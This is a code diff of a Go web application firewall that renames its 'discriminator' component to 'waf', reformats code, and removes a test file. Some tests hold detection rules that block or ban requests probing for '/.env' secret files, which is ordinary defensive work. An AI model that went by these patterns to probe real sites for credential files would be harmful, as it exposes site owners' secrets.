-		if rq.disposition == discriminator.DispositionAllow {
+		if rq.disposition == waf.DispositionAllow {
 			rq.passToApp(ctx)
 		} else {
 			rq.answer(http.StatusServiceUnavailable)
@@ -83,10 +85,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
 	}
 }
 
-// ask sends discriminator the question, and returns its answer, which must have come
+// ask sends waf the question, and returns its answer, which must have come
 // whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
 // away.
-func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
+func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
 	ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
 	defer cancel()
 
@@ -95,7 +97,7 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
 		return nil, err
 	}
 
-	res, err := rq.h.discriminatorTransport.RoundTrip(question)
+	res, err := rq.h.wafTransport.RoundTrip(question)
 	if err != nil {
 		return nil, fmt.Errorf("send the question: %w", err)
 	}
@@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
 	// a read of that. Go's client also takes a status below 100, which Go's server
 	// panics when asked to send.
 	if res.StatusCode < http.StatusOK {
-		return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
+		return nil, fmt.Errorf(
+			"%w: its status is %d",
+			errCannotPassOn,
+			res.StatusCode,
+		)
 	}
 
 	body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -120,23 +126,27 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
 		return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
 	}
 
-	return &discriminatorAnswer{res.StatusCode, res.Header, body}, nil
+	return &wafAnswer{res.StatusCode, res.Header, body}, nil
 }
 
-// canBeAsked reports whether Go's client can send discriminator r as the visitor sent
+// canBeAsked reports whether Go's client can send waf r as the visitor sent
 // it. It cannot send these as they came:
 //   - a target that does not start with /, or that starts with //;
-//   - an empty Host, for which it sends discriminator's own address;
+//   - an empty Host, for which it sends waf's own address;
 //   - a Host holding an IPv6 zone, which it removes;
 //   - more than one User-Agent, of which it sends the first;
 //   - an empty User-Agent, which it leaves out, the one case that still goes to
-//     discriminator.
+//     waf.
 func canBeAsked(r *http.Request) bool {
 	target, host := r.RequestURI, r.Host
-	hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
+	hostHasZone := strings.HasPrefix(host, "[") &&
+		strings.Contains(host, "%")
 
-	return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
-		host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
+	return strings.HasPrefix(target, "/") &&
+		!strings.HasPrefix(target, "//") &&
+		host != "" &&
+		!hostHasZone &&
+		len(r.Header.Values("User-Agent")) <= 1
 }
 
 // newQuestion returns the question about the request, as "The question" in
@@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
 	}
 
 	question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
-		ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
+		ctx,
+		in.Method,
+		rq.h.config.WAFBackend.String(),
+		bytes.NewReader(held),
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the question: %w", err)
 	}
@@ -170,13 +184,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
 	question.TransferEncoding = in.TransferEncoding
 
 	question.Header = in.Header.Clone()
-	question.Header.Set(discriminator.ClientHeader, rq.client.String())
-	question.Header.Set(discriminator.PeerHeader, rq.peer.String())
-	question.Header.Del(discriminator.ContentLengthHeader)
+	question.Header.Set(waf.ClientHeader, rq.client.String())
+	question.Header.Set(waf.PeerHeader, rq.peer.String())
+	question.Header.Del(waf.ContentLengthHeader)
 
 	announced := in.Header.Get("Content-Length")
 	if announced != "" {
-		question.Header.Set(discriminator.ContentLengthHeader, announced)
+		question.Header.Set(waf.ContentLengthHeader, announced)
 	}
 
 	question.Header.Set(requestIDHeader, rq.id)
@@ -191,13 +205,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
 	return question, nil
 }
 
-// answerWith gives the visitor discriminator's answer, less its disposition.
-func (rq *request) answerWith(answer *discriminatorAnswer) {
+// answerWith gives the visitor waf's answer, less its disposition.
+func (rq *request) answerWith(answer *wafAnswer) {
 	rq.prepareOwnAnswer(rq.requestDeadline())
 
 	header := rq.out.Header()
 	maps.Copy(header, answer.header)
-	header.Del(discriminator.DispositionHeader)
+	header.Del(waf.DispositionHeader)
 
 	// Go's server adds a Content-Type it guesses from the body to a response whose
 	// headers have no Content-Type key. The key with no value sends none.
@@ -208,10 +222,10 @@ func (rq *request) answerWith(answer *discriminatorAnswer) {
 	rq.send(answer.status, answer.body)
 }
 
-// sendReport sends discriminator report on a goroutine of its own, so that the
+// sendReport sends waf report on a goroutine of its own, so that the
 // visitor does not wait for it. The report goes on after ctx, the request's own
 // context, has ended.
-func (h *handler) sendReport(ctx context.Context, report *discriminator.Report) {
+func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
 	h.reportsMu.Lock()
 	defer h.reportsMu.Unlock()
 
@@ -227,9 +241,9 @@ func (h *handler) sendReport(ctx context.Context, report *discriminator.Report)
 	})
 }
 
-// postReport posts report to discriminator, and waits for its answer for up to
+// postReport posts report to waf, and waits for its answer for up to
 // SWRP_TIMEOUT_MS.
-func (h *handler) postReport(ctx context.Context, report *discriminator.Report) error {
+func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
 	body, err := json.Marshal(report)
 	if err != nil {
 		return fmt.Errorf("encode the report: %w", err)
@@ -246,7 +260,7 @@ func (h *handler) postReport(ctx context.Context, report *discriminator.Report)
 
 	req.Header.Set("Content-Type", "application/json")
 
-	res, err := h.discriminatorTransport.RoundTrip(req)
+	res, err := h.wafTransport.RoundTrip(req)
 	if err != nil {
 		return fmt.Errorf("send the report: %w", err)
 	}
@@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *discriminator.Report)
 	// The body of a 101 is the connection itself, and the time limit does not end
 	// a read of that.
 	if res.StatusCode >= http.StatusOK {
-		_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
+		_, _ = io.Copy(
+			io.Discard,
+			io.LimitReader(res.Body, reportAnswerMaxBytes),
+		)
 	}
 
 	_ = res.Body.Close()

internal/rules/rules.go

@@ -63,7 +63,9 @@ const escapeLength = 3
 var (
 	// ruleLine is a rule: four fields separated by spaces or tabs, of
 	// which the fourth, the regex, runs to the end of the line.
-	ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
+	ruleLine = regexp.MustCompile(
+		`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
+	)
 	// idChars are the characters of a rule's id.
 	idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
 )
@@ -74,7 +76,8 @@ var (
 			"separated by spaces or tabs")
 	errNotID     = errors.New("is not an id of letters, digits, - and _")
 	errNotTarget = errors.New(
-		"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
+		"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
+	)
 	errNotHeaderName = errors.New(
 		"has a character after header: that no header name can have")
 	errHeaderTakenOut = errors.New(
@@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) {
 
 	for _, entry := range entries {
 		name := entry.Name()
-		if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
+		if entry.IsDir() || strings.HasPrefix(name, ".") ||
+			filepath.Ext(name) != extension {
 			continue
 		}
 
@@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) {
 
 // readFile appends the rules of the rule file at path to rules. places
 // are where each id read so far is, and gain those of the file.
-func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
-	data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
+func readFile(
+	path string,
+	rules []Rule,
+	places map[string]string,
+) ([]Rule, error) {
+	//nolint:gosec // a rule file, in SWW_RULES_DIR
+	data, err := os.ReadFile(path)
 	if err != nil {
 		return nil, err
 	}
@@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro
 
 		first, used := places[rule.ID]
 		if used {
-			return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
+			return nil, fmt.Errorf(
+				"%s: the id %q %w %s",
+				place,
+				rule.ID,
+				errUsedTwice,
+				first,
+			)
 		}
 
 		places[rule.ID] = place
@@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) {
 	case !idChars.MatchString(rule.ID):
 		return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
 	case !isTarget(rule.Target):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errNotTarget,
+		)
 	case isHeader && !config.IsHeaderName(headerName):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errNotHeaderName,
+		)
 	case strings.EqualFold(rule.Target, headerTarget+"Host"):
 		return Rule{}, false, fmt.Errorf(
 			"the target %q %w; the request's host is the target host",
 			rule.Target, errHeaderTakenOut)
 	case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errHeaderTakenOut,
+		)
 	case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
-		return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
+		return Rule{}, false, fmt.Errorf(
+			"the action %q %w",
+			rule.Action,
+			errNotAction,
+		)
 	}
 
 	regex, err := regexp.Compile(fields[4])
 	if err != nil {
-		return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
+		return Rule{}, false, fmt.Errorf(
+			"the regex %w: %w",
+			errNotRegex,
+			err,
+		)
 	}
 
 	rule.regex = regex
@@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) {
 // isTarget reports whether target is one a rule may have.
 func isTarget(target string) bool {
 	switch target {
-	case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
+	case pathTarget,
+		"query",
+		uriTarget,
+		"method",
+		"host",
+		"user_agent",
+		"referer":
 		return true
 	}
 
@@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool {
 	target := value(rule.Target, r)
 
 	if rule.Target == pathTarget || rule.Target == uriTarget {
-		return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
+		return rule.regex.MatchString(target) ||
+			rule.regex.MatchString(DecodeOnce(target))
 	}
 
 	return rule.regex.MatchString(target)

internal/rules/rules_test.go

@@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
 
 			got := len(files.Match(r)) == 1
 			if got != tc.want {
-				t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
+				t.Errorf(
+					"%s matches %s: %t, want %t",
+					tc.rule,
+					tc.uri,
+					got,
+					tc.want,
+				)
 			}
 		})
 	}
@@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
 		for _, target := range []string{
 			tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
 		} {
-			r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
+			r := httptest.NewRequestWithContext(
+				t.Context(),
+				http.MethodGet,
+				target,
+				nil,
+			)
 			wantMatched(t, files, r, "as-sent")
 		}
 	}
@@ -146,14 +157,20 @@ after          path  log    ^/
 	wantMatched(t, files, get(t, "/page"), "every-path", "after")
 
 	// A ban rule ends it too.
-	files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
+	files = load(
+		t,
+		ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
+	)
 	wantMatched(t, files, get(t, "/"), "ban")
 }
 
 func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
 	t.Parallel()
 
-	files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
+	files := load(
+		t,
+		ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
+	)
 
 	wantMatched(t, files, get(t, "/.env"), "env-file")
 }
@@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
 
 	// The lock file Emacs makes beside a file while it is edited: a link to
 	// nothing, which cannot be read.
-	err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
+	err := os.Symlink(
+		"user@host.1234:1700000000",
+		filepath.Join(dir, ".#"+firstFile),
+	)
 	if err != nil {
 		t.Fatalf("symlink: %v", err)
 	}
@@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
 			dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
 			path := filepath.Join(dir, "00-default.rules")
 
-			wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
+			want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
+			wantRefused(t, dir, want)
 		})
 	}
 }
@@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
 		"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
 	})
 
-	wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
-		"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
+	wantRefused(
+		t,
+		dir,
+		filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
+			"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
+	)
 }
 
 func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -305,7 +330,9 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
 func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 	t.Parallel()
 
-	params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
+	params, lines := newParams(
+		writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
+	)
 
 	files, err := rules.Load(params)
 	if err != nil {
@@ -314,7 +341,11 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 
 	line := lines.waitFor(t, read)
 	if files.Len() != 0 || line["rules"] != 0.0 {
-		t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
+		t.Errorf(
+			"%d rules loaded, and the log says %v, want none",
+			files.Len(),
+			line,
+		)
 	}
 }
 
@@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 
 	// The edit's second line has an unknown action, so the rules stay as
 	// they were, the first line's earlier version included.
-	save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
+	save(
+		t,
+		dir,
+		firstFile,
+		"first path block ^/edited\nsecond path bann ^/second\n",
+	)
 
 	line := lines.waitFor(t, hasError)
 	want := filepath.Join(dir, firstFile) +
@@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 		if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
 			waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
 			waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
-			t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
+			t.Errorf(
+				"alerts waiting %+v, want one file_error alert for %q",
+				waiting,
+				want,
+			)
 		}
 	}
 	wantFileError()
@@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 	wantMatched(t, files, get(t, "/second"))
 
 	// Once mended, the file is read again, and raises no alert.
-	save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
-	lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
+	save(
+		t,
+		dir,
+		firstFile,
+		"first path block ^/edited\nsecond path ban ^/second\n",
+	)
+	lines.waitUntil(
+		t,
+		func() bool { return len(files.Match(get(t, "/second"))) == 1 },
+	)
 	wantMatched(t, files, get(t, "/edited"), "first")
 	wantFileError()
 }
@@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
 // watch loads the rules in dir, runs their Watch until the test ends, and
 // waits until it watches the directory. It returns the alerts' queue as
 // well.
-func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
+func watch(
+	t *testing.T,
+	dir string,
+) (*rules.Files, processLog, *alerts.Queue) {
 	t.Helper()
 
 	params, lines := newParams(dir)
@@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request {
 
 // wantRefusedBy checks that a GET request for target with the user agent
 // sent matches rule alone, and that rule refuses it.
-func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
+func wantRefusedBy(
+	t *testing.T,
+	files *rules.Files,
+	target, sent, rule string,
+) {
 	t.Helper()
 
 	r := get(t, target)
 	r.Header.Set(userAgent, sent)
 
 	matched := files.Match(r)
-	if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
+	if len(matched) != 1 || matched[0].ID != rule ||
+		matched[0].Action == rules.ActionLog {
 		t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
 			sent, ids(matched), rule)
 	}
 }
 
 // wantMatched checks the ids of the rules r matches, in order.
-func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
+func wantMatched(
+	t *testing.T,
+	files *rules.Files,
+	r *http.Request,
+	want ...string,
+) {
 	t.Helper()
 
 	got := ids(files.Match(r))

internal/sww/discriminator_test.go

@@ -1,204 +0,0 @@
-package sww_test
-
-import (
-	"bytes"
-	"context"
-	"crypto/rand"
-	"io"
-	"net/http"
-	"os"
-	"os/exec"
-	"path/filepath"
-	"strings"
-	"syscall"
-	"testing"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
-	"sneak.berlin/go/smallwebwaf/internal/sww"
-)
-
-// commandForMain, while set in the environment, has this test binary run Main
-// with the command it gives, in place of the tests, so that a test can run
-// Main in a process of its own.
-const commandForMain = "SWW_TEST_COMMAND"
-
-func TestMain(m *testing.M) {
-	command, set := os.LookupEnv(commandForMain)
-	if !set {
-		os.Exit(m.Run())
-	}
-
-	os.Args = strings.Fields("sww " + command)
-
-	os.Exit(sww.Main(testVersion))
-}
-
-func TestMainRunsDiscriminator(t *testing.T) {
-	t.Parallel()
-
-	binary, err := os.Executable()
-	if err != nil {
-		t.Fatalf("find the test binary: %v", err)
-	}
-
-	ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
-	defer cancel()
-
-	out := &output{}
-	cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
-	cmd.Stdout = out
-
-	cmd.Env = append(os.Environ(),
-		commandForMain+"="+discriminatorCommand,
-		listenAddr+"="+localhost+":0",
-		stateDir+"="+t.TempDir(),
-		rulesDir+"="+t.TempDir(),
-		lookupSource+"=off")
-
-	err = cmd.Start()
-	if err != nil {
-		t.Fatalf("start: %v", err)
-	}
-
-	t.Cleanup(func() {
-		_ = cmd.Process.Kill()
-		_ = cmd.Wait()
-	})
-
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-	ask(t, addr, "/", http.StatusOK, discriminator.DispositionAllow)
-
-	err = cmd.Process.Signal(syscall.SIGTERM)
-	if err != nil {
-		t.Fatalf("signal: %v", err)
-	}
-
-	err = cmd.Wait()
-	if err != nil {
-		t.Errorf("exit: %v; output:\n%s", err, out.text())
-	}
-}
-
-func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
-	t.Parallel()
-
-	binary, err := os.Executable()
-	if err != nil {
-		t.Fatalf("find the test binary: %v", err)
-	}
-
-	for _, command := range []string{"", "serve"} {
-		t.Run("command "+command, func(t *testing.T) {
-			t.Parallel()
-
-			ctx, cancel := context.WithTimeout(t.Context(), waitLimit)
-			defer cancel()
-
-			var stdout, stderr bytes.Buffer
-
-			cmd := exec.CommandContext(ctx, binary)
-			cmd.Stdout, cmd.Stderr = &stdout, &stderr
-
-			cmd.Env = append(os.Environ(), commandForMain+"="+command)
-
-			err := cmd.Run()
-
-			if code := cmd.ProcessState.ExitCode(); code != 2 {
-				t.Errorf("exit status %d (%v), want 2", code, err)
-			}
-
-			for _, name := range []string{"rproxy", discriminatorCommand, "healthcheck"} {
-				if !strings.Contains(stderr.String(), name) {
-					t.Errorf("stderr %q does not name %s", stderr.String(), name)
-				}
-			}
-
-			if stdout.Len() != 0 {
-				t.Errorf("stdout %q, want nothing", stdout.String())
-			}
-		})
-	}
-}
-
-// ask sends discriminator at addr rproxy's question about a request for path from
-// placed, checks the answer's status and disposition, and closes it.
-func ask(t *testing.T, addr, path string, status int, disposition string) {
-	t.Helper()
-
-	req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
-		"http://"+addr+path, http.NoBody)
-	if err != nil {
-		t.Fatalf("new request: %v", err)
-	}
-
-	req.Header.Set(discriminator.ClientHeader, placed)
-	req.Header.Set("X-Request-ID", rand.Text())
-
-	transport := &http.Transport{}
-	defer transport.CloseIdleConnections()
-
-	res, err := (&http.Client{Transport: transport}).Do(req)
-	if err != nil {
-		t.Fatalf("question: %v", err)
-	}
-
-	_, _ = io.Copy(io.Discard, res.Body)
-	_ = res.Body.Close()
-
-	if res.StatusCode != status ||
-		res.Header.Get(discriminator.DispositionHeader) != disposition {
-		t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
-			res.Header.Get(discriminator.DispositionHeader), status, disposition)
-	}
-}
-
-// runDiscriminator runs `sww discriminator` with the settings in env, has use
-// send it requests at the address it listens on, stops it as SIGTERM does, and
-// checks that it stopped in order.
-func runDiscriminator(t *testing.T, env map[string]string, use func(addr string)) {
-	t.Helper()
-
-	ctx, stop := context.WithCancel(t.Context())
-	out := &output{}
-	exited := make(chan int, 1)
-
-	go func() {
-		exited <- run(ctx, env, out)
-	}()
-
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-	use(addr)
-	stop()
-
-	select {
-	case status := <-exited:
-		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
-		}
-	case <-time.After(waitLimit):
-		t.Fatal("still running after being told to stop")
-	}
-
-	out.line(t, "msg", "stopped")
-}
-
-func TestDiscriminatorKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
-	t.Parallel()
-
-	env := map[string]string{
-		listenAddr: localhost + ":0",
-		stateDir:   t.TempDir(),
-		rulesDir:   filepath.Join("..", "..", "share", "rules.d"),
-	}
-
-	runDiscriminator(t, env, func(addr string) {
-		ask(t, addr, "/", http.StatusOK, discriminator.DispositionAllow)
-		// The default rule file bans a probe for this.
-		ask(t, addr, "/.env", http.StatusForbidden, discriminator.DispositionDeny)
-	})
-
-	runDiscriminator(t, env, func(addr string) {
-		ask(t, addr, "/", http.StatusForbidden, discriminator.DispositionDeny)
-	})
-}

internal/sww/healthcheck.go

@@ -11,7 +11,7 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // healthCheckTimeout bounds the whole health check.
@@ -19,8 +19,8 @@ const healthCheckTimeout = 5 * time.Second
 
 var errHealthEndpoint = errors.New("the health endpoint answered")
 
-// HealthCheck is the container's health check. In discriminator's container, where
-// SWW_COMMAND is discriminator, it returns 0 while discriminator answers its health
+// HealthCheck is the container's health check. In waf's container, where
+// SWW_COMMAND is waf, it returns 0 while waf answers its health
 // endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
 // where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
 // answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
@@ -31,7 +31,9 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
 // args are the arguments after `healthcheck`; it takes none, and given
 // one it names it on stderr and returns 1 without checking anything.
 func HealthCheck(
-	ctx context.Context, args []string, lookupEnv func(string) (string, bool),
+	ctx context.Context,
+	args []string,
+	lookupEnv func(string) (string, bool),
 	stderr io.Writer,
 ) int {
 	if len(args) > 0 {
@@ -49,8 +51,8 @@ func HealthCheck(
 	switch {
 	case err != nil:
 		err = fmt.Errorf("invalid setting: %w", err)
-	case command == "discriminator":
-		err = checkDiscriminator(ctx, lookupEnv)
+	case command == "waf":
+		err = checkWAF(ctx, lookupEnv)
 	default:
 		err = checkRProxyAndApp(ctx, lookupEnv)
 	}
@@ -64,18 +66,18 @@ func HealthCheck(
 	return 0
 }
 
-// checkDiscriminator asks discriminator's health endpoint.
-func checkDiscriminator(
+// checkWAF asks waf's health endpoint.
+func checkWAF(
 	ctx context.Context, lookupEnv func(string) (string, bool),
 ) error {
-	listenAddr, err := config.DiscriminatorListenAddr(lookupEnv)
+	listenAddr, err := config.WAFListenAddr(lookupEnv)
 	if err != nil {
 		return fmt.Errorf("invalid setting: %w", err)
 	}
 
 	err = askHealthEndpoint(ctx, listenAddr)
 	if err != nil {
-		return fmt.Errorf("ask discriminator: %w", err)
+		return fmt.Errorf("ask waf: %w", err)
 	}
 
 	return nil
@@ -85,7 +87,9 @@ func checkDiscriminator(
 func checkRProxyAndApp(
 	ctx context.Context, lookupEnv func(string) (string, bool),
 ) error {
-	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
+	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
+		lookupEnv,
+	)
 	if err != nil {
 		return fmt.Errorf("invalid setting: %w", err)
 	}
@@ -95,7 +99,11 @@ func checkRProxyAndApp(
 		return fmt.Errorf("ask rproxy: %w", err)
 	}
 
-	conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
+	conn, err := (&net.Dialer{}).DialContext(
+		ctx,
+		"tcp",
+		appAddress(upstreamURL),
+	)
 	if err != nil {
 		return fmt.Errorf("connect to the app: %w", err)
 	}
@@ -109,9 +117,17 @@ func checkRProxyAndApp(
 // listenAddr, which the settings have checked has one.
 func askHealthEndpoint(ctx context.Context, listenAddr string) error {
 	_, port, _ := net.SplitHostPort(listenAddr)
-	health := "http://" + net.JoinHostPort("127.0.0.1", port) + discriminator.HealthPath
+	health := "http://" + net.JoinHostPort(
+		"127.0.0.1",
+		port,
+	) + waf.HealthPath
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		health,
+		http.NoBody,
+	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}

internal/sww/healthcheck_test.go

@@ -19,11 +19,11 @@ const (
 	// commandSetting says which command a container runs, and which the health
 	// check checks.
 	commandSetting = "SWW_COMMAND"
-	// discriminatorCommand is the command that runs discriminator.
-	discriminatorCommand = "discriminator"
+	// wafCommand is the command that runs waf.
+	wafCommand = "waf"
 )
 
-func TestHealthCheckInDiscriminatorsContainer(t *testing.T) {
+func TestHealthCheckInWAFsContainer(t *testing.T) {
 	t.Parallel()
 
 	ctx, stop := context.WithCancel(t.Context())
@@ -41,13 +41,13 @@ func TestHealthCheckInDiscriminatorsContainer(t *testing.T) {
 		exited <- run(ctx, settings, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 	_, port, _ := net.SplitHostPort(addr)
 
 	// The container's settings: an address to listen on with an empty
 	// host part, which the health check asks at 127.0.0.1.
 	wantHealthCheck(t, map[string]string{
-		commandSetting: discriminatorCommand, listenAddr: ":" + port,
+		commandSetting: wafCommand, listenAddr: ":" + port,
 	}, 0, "")
 
 	// The health check reads that setting alone, here given as a file: a removed
@@ -59,7 +59,7 @@ func TestHealthCheckInDiscriminatorsContainer(t *testing.T) {
 		{"SWW_MODE", "neither"},
 	} {
 		wantHealthCheck(t, map[string]string{
-			commandSetting:       discriminatorCommand,
+			commandSetting:       wafCommand,
 			listenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
 			other.name:           other.value,
 		}, 0, "")
@@ -68,10 +68,10 @@ func TestHealthCheckInDiscriminatorsContainer(t *testing.T) {
 	// Listening on port 0 takes any free port, so nothing listens on port 0
 	// itself.
 	wantHealthCheck(t, map[string]string{
-		commandSetting: discriminatorCommand, listenAddr: ":0",
-	}, 1, "unhealthy: ask discriminator: ")
+		commandSetting: wafCommand, listenAddr: ":0",
+	}, 1, "unhealthy: ask waf: ")
 	wantHealthCheck(t, map[string]string{
-		commandSetting: discriminatorCommand, listenAddr: "8080",
+		commandSetting: wafCommand, listenAddr: "8080",
 	}, 1, "unhealthy: invalid setting: SWW_LISTEN_ADDR: ")
 
 	stop()
@@ -90,11 +90,14 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	defer app.Close()
 
 	// Nothing listens at the backend. The health check asks rproxy and the app,
-	// whether or not discriminator answers.
+	// whether or not waf answers.
 	site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
 	_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
 	settings := func(more ...string) map[string]string {
